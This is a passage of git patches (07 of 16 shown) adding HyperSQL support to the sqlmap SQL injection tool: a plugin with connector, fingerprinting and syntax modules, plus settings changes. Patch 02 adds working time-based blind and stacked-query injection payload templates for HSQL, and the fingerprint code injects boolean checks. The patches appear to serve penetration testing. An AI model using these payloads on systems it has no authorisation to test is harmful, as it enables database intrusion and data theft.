From d739d5062d52ab1c529829ee730e248397db73e2 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Mon, 24 Jun 2013 14:34:25 +0100 Subject: [PATCH 01/16] hsql plugin folder --- plugins/dbms/hsql/__init__.py | 39 +++++++++ plugins/dbms/hsql/connector.py | 91 +++++++++++++++++++ plugins/dbms/hsql/enumeration.py | 33 +++++++ plugins/dbms/hsql/fingerprint.py | 146 +++++++++++++++++++++++++++++++ plugins/dbms/hsql/syntax.py | 33 +++++++ 5 files changed, 342 insertions(+) create mode 100644 plugins/dbms/hsql/__init__.py create mode 100644 plugins/dbms/hsql/connector.py create mode 100644 plugins/dbms/hsql/enumeration.py create mode 100644 plugins/dbms/hsql/fingerprint.py create mode 100644 plugins/dbms/hsql/syntax.py diff --git a/plugins/dbms/hsql/__init__.py b/plugins/dbms/hsql/__init__.py new file mode 100644 index 000000000..4a360343a --- /dev/null +++ b/plugins/dbms/hsql/__init__.py @@ -0,0 +1,39 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +See the file 'doc/COPYING' for copying permission +""" + +from lib.core.enums import DBMS +from lib.core.settings import HSQL_SYSTEM_DBS +from lib.core.unescaper import unescaper +from plugins.dbms.hsql.enumeration import Enumeration +from plugins.dbms.hsql.filesystem import Filesystem +from plugins.dbms.hsql.fingerprint import Fingerprint +from plugins.dbms.hsql.syntax import Syntax +from plugins.dbms.hsql.takeover import Takeover +from plugins.generic.misc import Miscellaneous + +class HSQLMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): + """ + This class defines MySQL methods + """ + + def __init__(self): + self.excludeDbsList = HSQL_SYSTEM_DBS + self.sysUdfs = { + # UDF name: UDF return data-type + "sys_exec": { "return": "int" }, + "sys_eval": { "return": "string" }, + "sys_bineval": { "return": "int" } + } + + Syntax.__init__(self) + Fingerprint.__init__(self) + Enumeration.__init__(self) + Filesystem.__init__(self) + Miscellaneous.__init__(self) + Takeover.__init__(self) + + unescaper[DBMS.HSQL] = Syntax.escape diff --git a/plugins/dbms/hsql/connector.py b/plugins/dbms/hsql/connector.py new file mode 100644 index 000000000..265249556 --- /dev/null +++ b/plugins/dbms/hsql/connector.py @@ -0,0 +1,91 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +See the file 'doc/COPYING' for copying permission +""" + +try: + from thirdparty import jaydebeapi + import jpype +except ImportError, msg: + pass + +import logging + +from lib.core.data import conf +from lib.core.data import logger +from lib.core.exception import SqlmapConnectionException +from plugins.generic.connector import Connector as GenericConnector + +class Connector(GenericConnector): + """ + Homepage: http://jpype.sourceforge.net/ + User guide: http://jpype.sourceforge.net/doc/user-guide/userguide.html + API: http://code.google.com/p/pymysql/ + Debian package: + License: Apache License V2.0 + """ + + def __init__(self): + GenericConnector.__init__(self) + + def connect(self): + self.initConnection() + try: + jar = './thirdparty/hsql/hsqldb.jar' + args='-Djava.class.path=%s' % jar + jvm_path = jpype.getDefaultJVMPath() + jpype.startJVM(jvm_path, args) + except (Exception), msg: #todo fix with specific error + raise SqlmapConnectionException(msg[0]) + try: + driver = 'org.hsqldb.jdbc.JDBCDriver' + connection_string = 'jdbc:hsqldb:mem:.' #'jdbc:hsqldb:hsql://%s/%s' % (self.hostname, self.db) + self.connector = jaydebeapi.connect(driver, + connection_string, + str(self.user), + str(self.password)) + except (Exception), msg: #todo what kind of error is this?! + raise SqlmapConnectionException(msg[0]) + + self.initCursor() + self.printConnected() + + def fetchall(self): + try: + return self.cursor.fetchall() + except (Exception), msg: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1]) + return None + + def execute(self, query): + retVal = False + + try: + self.cursor.execute(query) + retVal = True + except (Exception), msg: #todo fix with specific error + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1]) + except Exception, msg: #todo fix with specific error + raise SqlmapConnectionException(msg[1]) + + self.connector.commit() + + return retVal + + def select(self, query): + retVal = None + + upper_query = query.upper() + + if query and not (upper_query.startswith("SELECT ") or upper_query.startswith("VALUES ")): + query = "VALUES %s" % query + + if query and upper_query.startswith("SELECT ") and " FROM " not in upper_query: + query = "%s FROM (VALUES(0))" % query + + self.cursor.execute(query) + retVal = self.cursor.fetchall() + + return retVal diff --git a/plugins/dbms/hsql/enumeration.py b/plugins/dbms/hsql/enumeration.py new file mode 100644 index 000000000..a9bc518be --- /dev/null +++ b/plugins/dbms/hsql/enumeration.py @@ -0,0 +1,33 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +See the file 'doc/COPYING' for copying permission +""" + +from plugins.generic.enumeration import Enumeration as GenericEnumeration +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.data import queries +from lib.core.common import Backend +from lib.core.common import unArrayizeValue +from lib.request import inject +from lib.parse.banner import bannerParser + +class Enumeration(GenericEnumeration): + def __init__(self): + GenericEnumeration.__init__(self) + + def getBanner(self): + if not conf.getBanner: + return + + if kb.data.banner is None: + infoMsg = "fetching banner" + logger.info(infoMsg) + + query = queries[Backend.getIdentifiedDbms()].banner.query + kb.data.banner = unArrayizeValue(inject.getValue(query, safeCharEncode=True)) + + return kb.data.banner diff --git a/plugins/dbms/hsql/fingerprint.py b/plugins/dbms/hsql/fingerprint.py new file mode 100644 index 000000000..d3c9ee9a4 --- /dev/null +++ b/plugins/dbms/hsql/fingerprint.py @@ -0,0 +1,146 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +See the file 'doc/COPYING' for copying permission +""" + +import re + +from lib.core.common import Backend +from lib.core.common import Format +from lib.core.common import getUnicode +from lib.core.common import unArrayizeValue +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import DBMS +from lib.core.enums import OS +from lib.core.session import setDbms +from lib.core.settings import HSQL_ALIASES +from lib.core.settings import UNKNOWN_DBMS_VERSION +from lib.request import inject +from plugins.generic.fingerprint import Fingerprint as GenericFingerprint + +class Fingerprint(GenericFingerprint): + def __init__(self): + GenericFingerprint.__init__(self, DBMS.HSQL) + + def getFingerprint(self): + value = "" + wsOsFp = Format.getOs("web server", kb.headersFp) + + if wsOsFp and not hasattr(conf, "api"): + value += "%s\n" % wsOsFp + + if kb.data.banner: + dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) + + if dbmsOsFp and not hasattr(conf, "api"): + value += "%s\n" % dbmsOsFp + + value += "back-end DBMS: " + actVer = Format.getDbms() + + if not conf.extensiveFp: + value += actVer + return value + + blank = " " * 15 + value += "active fingerprint: %s" % actVer + + if kb.bannerFp: + banVer = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None + + if re.search("-log$", kb.data.banner): + banVer += ", logging enabled" + + banVer = Format.getDbms([banVer] if banVer else None) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + htmlErrorFp = Format.getErrorParsedDBMSes() + + if htmlErrorFp: + value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + + return value + + def checkDbms(self): + """ + References for fingerprint: + DATABASE_VERSION() + version 2.2.6 added two-arg REPLACE functio REPLACE('a','a') compared to REPLACE('a','a','d') + version 2.2.5 added SYSTIMESTAMP function + version 2.2.3 added REGEXPR_SUBSTRING and REGEXPR_SUBSTRING_ARRAY functions + version 2.2.0 added support for ROWNUM() function + version 2.1.0 added MEDIAN aggregate function + version < 2.0.1 added support for datetime ROUND and TRUNC functions + version 2.0.0 added VALUES support + version 1.8.0.4 Added org.hsqldb.Library function, getDatabaseFullProductVersion to return the + full version string, including the 4th digit (e.g 1.8.0.4). + version 1.7.2 CASE statements added and INFORMATION_SCHEMA + + """ + + if not conf.extensiveFp and (Backend.isDbmsWithin(HSQL_ALIASES) \ + or conf.dbms in HSQL_ALIASES) and Backend.getVersion() and \ + Backend.getVersion() != UNKNOWN_DBMS_VERSION: + v = Backend.getVersion().replace(">", "") + v = v.replace("=", "") + v = v.replace(" ", "") + + Backend.setVersion(v) + + setDbms("%s %s" % (DBMS.HSQL, Backend.getVersion())) + + if Backend.isVersionGreaterOrEqualThan("1.7.2"): + kb.data.has_information_schema = True + + self.getBanner() + + return True + + infoMsg = "testing %s" % DBMS.HSQL + logger.info(infoMsg) + + # TODO This gets mangled in UNION queries because of the dummy table + result = inject.checkBooleanExpression("\"java.lang.Math.sqrt\"(1)=1") + + if result: + infoMsg = "confirming %s" % DBMS.HSQL + logger.info(infoMsg) + + result = inject.checkBooleanExpression("ROUNDMAGIC(PI())>=3") + + if not result: + warnMsg = "the back-end DBMS is not %s" % DBMS.HSQL + logger.warn(warnMsg) + + return False + else: + kb.data.has_information_schema = True + Backend.setVersion(">= 1.7.2") + setDbms("%s 1.7.2" % DBMS.HSQL) + + if not conf.extensiveFp: + return True + + banner = self.getBanner() + if banner: + Backend.setVersion("= %s" % banner) + else: + if inject.checkBooleanExpression("(SELECT [RANDNUM] FROM (VALUES(0)))=[RANDNUM]"): + Backend.setVersionList([">= 2.0.0", "< 3.0"]) + else: + banner = unArrayizeValue(inject.getValue("\"org.hsqldb.Library.getDatabaseFullProductVersion\"()", safeCharEncode=True)) + if banner: + Backend.setVersion("= %s" % banner) + else: + Backend.setVersionList([">= 1.7.2", "< 1.8.0"]) + + return True + else: + warnMsg = "the back-end DBMS is not %s or is < 1.7.2" % DBMS.HSQL + logger.warn(warnMsg) + + return False diff --git a/plugins/dbms/hsql/syntax.py b/plugins/dbms/hsql/syntax.py new file mode 100644 index 000000000..650869f82 --- /dev/null +++ b/plugins/dbms/hsql/syntax.py @@ -0,0 +1,33 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +See the file 'doc/COPYING' for copying permission +""" + +import binascii + +from lib.core.convert import utf8encode +from plugins.generic.syntax import Syntax as GenericSyntax + +class Syntax(GenericSyntax): + def __init__(self): + GenericSyntax.__init__(self) + + @staticmethod + def escape(expression, quote=True): + """ + TODO: Unsure of a method to escape. Perhaps RAWTOHEX/HEXTORAW functions? + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") + 'SELECT 'abcdefgh' FROM foobar' + """ + + def escaper(value): + retVal = None + try: + retVal = "'%s'" % value + except UnicodeEncodeError: + retVal = "CONVERT(0x%s USING utf8)" % "".join("%.2x" % ord(_) for _ in utf8encode(value)) + return retVal + + return Syntax._escape(expression, quote, escaper) From 355d3f86becbd09b179f6ef4d3e1c04d115b86fb Mon Sep 17 00:00:00 2001 From: Meatballs Date: Mon, 24 Jun 2013 14:34:54 +0100 Subject: [PATCH 02/16] hsql payloads and queries xml --- xml/payloads.xml | 297 ++++++++++++++++++++++++++++++++++++++++++++++- xml/queries.xml | 70 +++++++++++ 2 files changed, 361 insertions(+), 6 deletions(-) diff --git a/xml/payloads.xml b/xml/payloads.xml index d06d84d93..b8f731681 100644 --- a/xml/payloads.xml +++ b/xml/payloads.xml @@ -1125,8 +1125,6 @@ Formats: PostgreSQL - - @@ -1878,7 +1876,6 @@ Formats: --> - MySQL inline queries @@ -1994,8 +1991,8 @@ Formats: Firebird - + @@ -2245,6 +2242,48 @@ Formats: >= 2.0 + + + HSQL >= 1.7.2 Server stacked queries + 4 + 1 + 0 + 0 + 1 + ;CALL CASE WHEN ([INFERENCE]) THEN REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000) END + + ;CALL REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000) + -- + + + + +
+ HSQL + >= 1.7.2 +
+
+ + + HSQL >= 2.0 Server stacked queries + 4 + 1 + 0 + 0 + 1 + ;CALL CASE WHEN ([INFERENCE]) THEN REPEAT(LEFT(CRYPT_KEY('AES',null),0),[SLEEPTIME]00000000) END + + ;CALL REPEAT(LEFT(CRYPT_KEY('AES',null),0),[SLEEPTIME]00000000) + -- + + + + +
+ HSQL + >= 2.0 +
+
@@ -2712,6 +2751,88 @@ Formats: IBM DB2
+ + + HSQL >= 1.7.2 AND time-based blind (heavy query) + 5 + 2 + 2 + 1,2,3 + 1 + AND '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000) ELSE '[RANDSTR]' END + + AND '[RANDSTR]'=REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000) + + + + +
+ HSQL + >= 1.7.2 +
+
+ + + HSQL >= 1.7.2 AND time-based blind (heavy query - comment) + 5 + 5 + 2 + 1,2,3 + 1 + AND '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000) ELSE '[RANDSTR]' END + + AND '[RANDSTR]'=REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000) + -- + + + + +
+ HSQL + >= 1.7.2 +
+
+ + + HSQL > 2.0 AND time-based blind (heavy query) + 5 + 2 + 2 + 1,2,3 + 1 + AND '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REPEAT(LEFT(CRYPT_KEY('AES',null),0),[SLEEPTIME]00000000) ELSE '[RANDSTR]' END + + AND '[RANDSTR]'=REPEAT(LEFT(CRYPT_KEY('AES',null),0),[SLEEPTIME]00000000) + + + + +
+ HSQL + > 2.0 +
+
+ + + HSQL > 2.0 AND time-based blind (heavy query - comment) + 5 + 5 + 2 + 1,2,3 + 1 + AND '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REPEAT(LEFT(CRYPT_KEY('AES',null),0),[SLEEPTIME]00000000) ELSE '[RANDSTR]' END + + AND '[RANDSTR]'=REPEAT(LEFT(CRYPT_KEY('AES',null),0),[SLEEPTIME]00000000) + -- + + + + +
+ HSQL + > 2.0 +
+
@@ -2931,6 +3052,88 @@ Formats: IBM DB2 + + + HSQL >= 1.7.2 OR time-based blind (heavy query) + 5 + 2 + 2 + 1,2,3 + 1 + OR '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000) ELSE '[RANDSTR]' END + + OR '[RANDSTR]'=REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000) + + + + +
+ HSQL + >= 1.7.2 +
+
+ + + HSQL >= 1.7.2 OR time-based blind (heavy query - comment) + 5 + 5 + 2 + 1,2,3 + 1 + OR '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000) ELSE '[RANDSTR]' END + + OR '[RANDSTR]'=REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000) + -- + + + + +
+ HSQL + >= 1.7.2 +
+
+ + + HSQL > 2.0 OR time-based blind (heavy query) + 5 + 2 + 2 + 1,2,3 + 1 + OR '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REPEAT(LEFT(CRYPT_KEY('AES',null),0),[SLEEPTIME]00000000) ELSE '[RANDSTR]' END + + OR '[RANDSTR]'=REPEAT(LEFT(CRYPT_KEY('AES',null),0),[SLEEPTIME]00000000) + + + + +
+ HSQL + > 2.0 +
+
+ + + HSQL > 2.0 OR time-based blind (heavy query - comment) + 5 + 5 + 2 + 1,2,3 + 1 + OR '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REPEAT(LEFT(CRYPT_KEY('AES',null),0),[SLEEPTIME]00000000) ELSE '[RANDSTR]' END + + OR '[RANDSTR]'=REPEAT(LEFT(CRYPT_KEY('AES',null),0),[SLEEPTIME]00000000) + -- + + + + +
+ HSQL + > 2.0 +
+
@@ -3211,7 +3414,7 @@ Formats: - IBM DB2 AND time-based blind (heavy query) + IBM DB2 time-based blind - Parameter replace (heavy query) 5 5 2 @@ -3228,6 +3431,47 @@ Formats: IBM DB2 + + + + HSQL >= 1.7.2 time-based blind - Parameter replace (heavy query) + 5 + 2 + 2 + 1,2,3 + 1 + (SELECT (CASE WHEN ([INFERENCE]) THEN REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000) ELSE '[RANDSTR]' END) FROM INFORMATION_SCHEMA.SYSTEM_USERS) + + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000) ELSE '[RANDSTR]' END) FROM INFORMATION_SCHEMA.SYSTEM_USERS) + + + + +
+ HSQL + >= 1.7.2 +
+
+ + + HSQL > 2.0 time-based blind - Parameter replace (heavy query) + 5 + 2 + 2 + 1,2,3 + 1 + (SELECT (CASE WHEN ([INFERENCE]) THEN REPEAT(LEFT(CRYPT_KEY('AES',null),0),[SLEEPTIME]00000000) ELSE '[RANDSTR]' END) FROM (VALUES(0))) + + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN REPEAT(LEFT(CRYPT_KEY('AES',null),0),[SLEEPTIME]00000000) ELSE '[RANDSTR]' END) FROM (VALUES(0))) + + + + +
+ HSQL + > 2.0 +
+
@@ -3389,11 +3633,52 @@ Formats: Oracle + + + HSQL >= 1.7.2 time-based blind - GROUP BY and ORDER BY clauses (heavy query) + 5 + 4 + 2 + 2,3 + 1 + ,(SELECT (CASE WHEN ([INFERENCE]) THEN (ASCII(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000))) ELSE [RANDNUM]/(SELECT 0 FROM INFORMATION_SCHEMA.SYSTEM_USERS) END) FROM INFORMATION_SCHEMA.SYSTEM_USERS) + + ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (ASCII(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000))) ELSE [RANDNUM]/(SELECT 0 FROM INFORMATION_SCHEMA.SYSTEM_USERS) END) FROM INFORMATION_SCHEMA.SYSTEM_USERS) + -- + + + + +
+ HSQL + >= 1.7.2 +
+
+ + + HSQL > 2.0 time-based blind - GROUP BY and ORDER BY clauses (heavy query) + 5 + 4 + 2 + 2,3 + 1 + ,(SELECT (CASE WHEN ([INFERENCE]) THEN (ASCII(REPEAT(LEFT(CRYPT_KEY('AES',null),0),[SLEEPTIME]00000000))) ELSE [RANDNUM]/(SELECT 0 FROM (VALUES(0))) END) FROM (VALUES(0))) + + ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (ASCII(REPEAT(LEFT(CRYPT_KEY('AES',null),0),[SLEEPTIME]00000000))) ELSE [RANDNUM]/(SELECT 0 FROM (VALUES(0))) END) FROM (VALUES(0))) + + + + +
+ HSQL + > 2.0 +
+
- + MySQL UNION query ([CHAR]) - [COLSTART] to [COLSTOP] columns (custom) 3 diff --git a/xml/queries.xml b/xml/queries.xml index b6a3f6d4d..5039d1b22 100644 --- a/xml/queries.xml +++ b/xml/queries.xml @@ -625,4 +625,74 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + From 20a5d9a16e1c46e5eee59d875d2a4798e6d79b5a Mon Sep 17 00:00:00 2001 From: Meatballs Date: Mon, 24 Jun 2013 14:37:42 +0100 Subject: [PATCH 03/16] Include HSQL dummy table --- lib/core/dicts.py | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/lib/core/dicts.py b/lib/core/dicts.py index 48b2f9ca6..215675c83 100644 --- a/lib/core/dicts.py +++ b/lib/core/dicts.py @@ -20,6 +20,7 @@ from lib.core.settings import FIREBIRD_ALIASES from lib.core.settings import MAXDB_ALIASES from lib.core.settings import SYBASE_ALIASES from lib.core.settings import DB2_ALIASES +from lib.core.settings import HSQL_ALIASES FIREBIRD_TYPES = { "261": "BLOB", @@ -137,6 +138,7 @@ DBMS_DICT = { DBMS.MAXDB: (MAXDB_ALIASES, None, None, "maxdb"), DBMS.SYBASE: (SYBASE_ALIASES, "python-pymssql", "http://pymssql.sourceforge.net/", "sybase"), DBMS.DB2: (DB2_ALIASES, "python ibm-db", "http://code.google.com/p/ibm-db/", "ibm_db_sa"), + DBMS.HSQL: (HSQL_ALIASES, "python jaydebeapi", "https://pypi.python.org/pypi/JayDeBeApi/", "hsql"), } FROM_DUMMY_TABLE = { @@ -145,6 +147,7 @@ FROM_DUMMY_TABLE = { DBMS.FIREBIRD: " FROM RDB$DATABASE", DBMS.MAXDB: " FROM VERSIONS", DBMS.DB2: " FROM SYSIBM.SYSDUMMY1", + DBMS.HSQL: " FROM INFORMATION_SYSTEM.SYSTEM_USERS" } SQL_STATEMENTS = { @@ -186,7 +189,8 @@ SQL_STATEMENTS = { "SQL data execution": ( "exec ", - "execute ", ), + "execute ", + "values ", ), "SQL transaction": ( "start transaction ", From 7b6cc3d1833589e5f9a1a29f211b5d330d193a18 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Mon, 24 Jun 2013 14:38:44 +0100 Subject: [PATCH 04/16] Add hsql settings --- lib/core/settings.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 39ac78b97..533125e9f 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -163,6 +163,7 @@ MAXDB_SYSTEM_DBS = ("SYSINFO", "DOMAIN") SYBASE_SYSTEM_DBS = ("master", "model", "sybsystemdb", "sybsystemprocs") DB2_SYSTEM_DBS = ("NULLID", "SQLJ", "SYSCAT", "SYSFUN", "SYSIBM", "SYSIBMADM", "SYSIBMINTERNAL", "SYSIBMTS",\ "SYSPROC", "SYSPUBLIC", "SYSSTAT", "SYSTOOLS") +HSQL_SYSTEM_DBS = ("INFORMATION_SCHEMA", "SYSTEM_LOB") MSSQL_ALIASES = ("microsoft sql server", "mssqlserver", "mssql", "ms") MYSQL_ALIASES = ("mysql", "my") @@ -174,10 +175,11 @@ FIREBIRD_ALIASES = ("firebird", "mozilla firebird", "interbase", "ibase", "fb") MAXDB_ALIASES = ("maxdb", "sap maxdb", "sap db") SYBASE_ALIASES = ("sybase", "sybase sql server") DB2_ALIASES = ("db2", "ibm db2", "ibmdb2") +HSQL_ALIASES = ("hsql", "hsqldb", "hs", "hypersql") DBMS_DIRECTORY_DICT = dict((getattr(DBMS, _), getattr(DBMS_DIRECTORY_NAME, _)) for _ in dir(DBMS) if not _.startswith("_")) -SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES +SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQL_ALIASES SUPPORTED_OS = ("linux", "windows") USER_AGENT_ALIASES = ("ua", "useragent", "user-agent") From 62000c6406309f269864b1d3203545e4f00e8934 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Mon, 24 Jun 2013 14:42:58 +0100 Subject: [PATCH 05/16] Remaining files --- lib/controller/handler.py | 4 ++++ lib/core/enums.py | 2 ++ plugins/generic/databases.py | 4 ++-- plugins/generic/entries.py | 2 +- 4 files changed, 9 insertions(+), 3 deletions(-) diff --git a/lib/controller/handler.py b/lib/controller/handler.py index 399a4384e..91446e6bb 100644 --- a/lib/controller/handler.py +++ b/lib/controller/handler.py @@ -20,6 +20,7 @@ from lib.core.settings import FIREBIRD_ALIASES from lib.core.settings import MAXDB_ALIASES from lib.core.settings import SYBASE_ALIASES from lib.core.settings import DB2_ALIASES +from lib.core.settings import HSQL_ALIASES from lib.utils.sqlalchemy import SQLAlchemy from plugins.dbms.mssqlserver import MSSQLServerMap @@ -42,6 +43,8 @@ from plugins.dbms.sybase import SybaseMap from plugins.dbms.sybase.connector import Connector as SybaseConn from plugins.dbms.db2 import DB2Map from plugins.dbms.db2.connector import Connector as DB2Conn +from plugins.dbms.hsql import HSQLMap +from plugins.dbms.hsql.connector import Connector as HSQLConn def setHandler(): """ @@ -60,6 +63,7 @@ def setHandler(): (DBMS.MAXDB, MAXDB_ALIASES, MaxDBMap, MaxDBConn), (DBMS.SYBASE, SYBASE_ALIASES, SybaseMap, SybaseConn), (DBMS.DB2, DB2_ALIASES, DB2Map, DB2Conn), + (DBMS.HSQL, HSQL_ALIASES, HSQLMap, HSQLConn), ] _ = max(_ if (Backend.getIdentifiedDbms() or "").lower() in _[1] else None for _ in items) diff --git a/lib/core/enums.py b/lib/core/enums.py index 204cd7919..e707ecc29 100644 --- a/lib/core/enums.py +++ b/lib/core/enums.py @@ -33,6 +33,7 @@ class DBMS: PGSQL = "PostgreSQL" SQLITE = "SQLite" SYBASE = "Sybase" + HSQL = "HyperSQL" class DBMS_DIRECTORY_NAME: ACCESS = "access" @@ -45,6 +46,7 @@ class DBMS_DIRECTORY_NAME: PGSQL = "postgresql" SQLITE = "sqlite" SYBASE = "sybase" + HSQL = "hsql" class CUSTOM_LOGGING: PAYLOAD = 9 diff --git a/plugins/generic/databases.py b/plugins/generic/databases.py index c37fad3b3..8c8c501be 100644 --- a/plugins/generic/databases.py +++ b/plugins/generic/databases.py @@ -510,7 +510,7 @@ class Databases: infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) logger.info(infoMsg) - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQL): query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) query += condQuery elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): @@ -522,7 +522,7 @@ class Databases: query += condQuery.replace("[DB]", conf.db) elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD): query = rootQuery.inband.query % tbl - + values = inject.getValue(query, blind=False, time=False) if Backend.isDbms(DBMS.MSSQL) and isNoneValue(values): diff --git a/plugins/generic/entries.py b/plugins/generic/entries.py index b381f1e97..64a74b4c0 100644 --- a/plugins/generic/entries.py +++ b/plugins/generic/entries.py @@ -159,7 +159,7 @@ class Entries: entries = zip(*[entries[colName] for colName in colList]) else: query = rootQuery.inband.query % (colString, conf.db, tbl) - elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): + elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQL): query = rootQuery.inband.query % (colString, conf.db, tbl, prioritySortColumns(colList)[0]) else: query = rootQuery.inband.query % (colString, conf.db, tbl) From b886e47b6d40620eddcdf4f315003ca32ce66e68 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Mon, 24 Jun 2013 14:53:41 +0100 Subject: [PATCH 06/16] Add unimplemented files --- plugins/dbms/hsql/filesystem.py | 21 +++++++++++++++++++++ plugins/dbms/hsql/takeover.py | 29 +++++++++++++++++++++++++++++ 2 files changed, 50 insertions(+) create mode 100644 plugins/dbms/hsql/filesystem.py create mode 100644 plugins/dbms/hsql/takeover.py diff --git a/plugins/dbms/hsql/filesystem.py b/plugins/dbms/hsql/filesystem.py new file mode 100644 index 000000000..558b59c53 --- /dev/null +++ b/plugins/dbms/hsql/filesystem.py @@ -0,0 +1,21 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +See the file 'doc/COPYING' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.filesystem import Filesystem as GenericFilesystem + +class Filesystem(GenericFilesystem): + def __init__(self): + GenericFilesystem.__init__(self) + + def readFile(self, rFile): + errMsg = "Not implemented in HSQL" + raise SqlmapUnsupportedFeatureException(errMsg) + + def writeFile(self, wFile, dFile, fileType=None, forceCheck=False): + errMsg = "Not implemented in HSQL" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/hsql/takeover.py b/plugins/dbms/hsql/takeover.py new file mode 100644 index 000000000..40a04722c --- /dev/null +++ b/plugins/dbms/hsql/takeover.py @@ -0,0 +1,29 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +See the file 'doc/COPYING' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.takeover import Takeover as GenericTakeover + +class Takeover(GenericTakeover): + def __init__(self): + GenericTakeover.__init__(self) + + def osCmd(self): + errMsg = "Not implemented in HSQL" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osShell(self): + errMsg = "Not implemented in HSQL" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osPwn(self): + errMsg = "Not implemented in HSQL" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osSmb(self): + errMsg = "Not implemented in HSQL" + raise SqlmapUnsupportedFeatureException(errMsg) From 9212b05eeba9c85d963fcdd4dc81e7185a54d3a8 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Mon, 24 Jun 2013 15:01:44 +0100 Subject: [PATCH 07/16] Add call to execute statements --- lib/core/dicts.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/lib/core/dicts.py b/lib/core/dicts.py index 215675c83..cadc1d8a4 100644 --- a/lib/core/dicts.py +++ b/lib/core/dicts.py @@ -190,7 +190,8 @@ SQL_STATEMENTS = { "SQL data execution": ( "exec ", "execute ", - "values ", ), + "values ", + "call ", ), "SQL transaction": ( "start transaction ", From 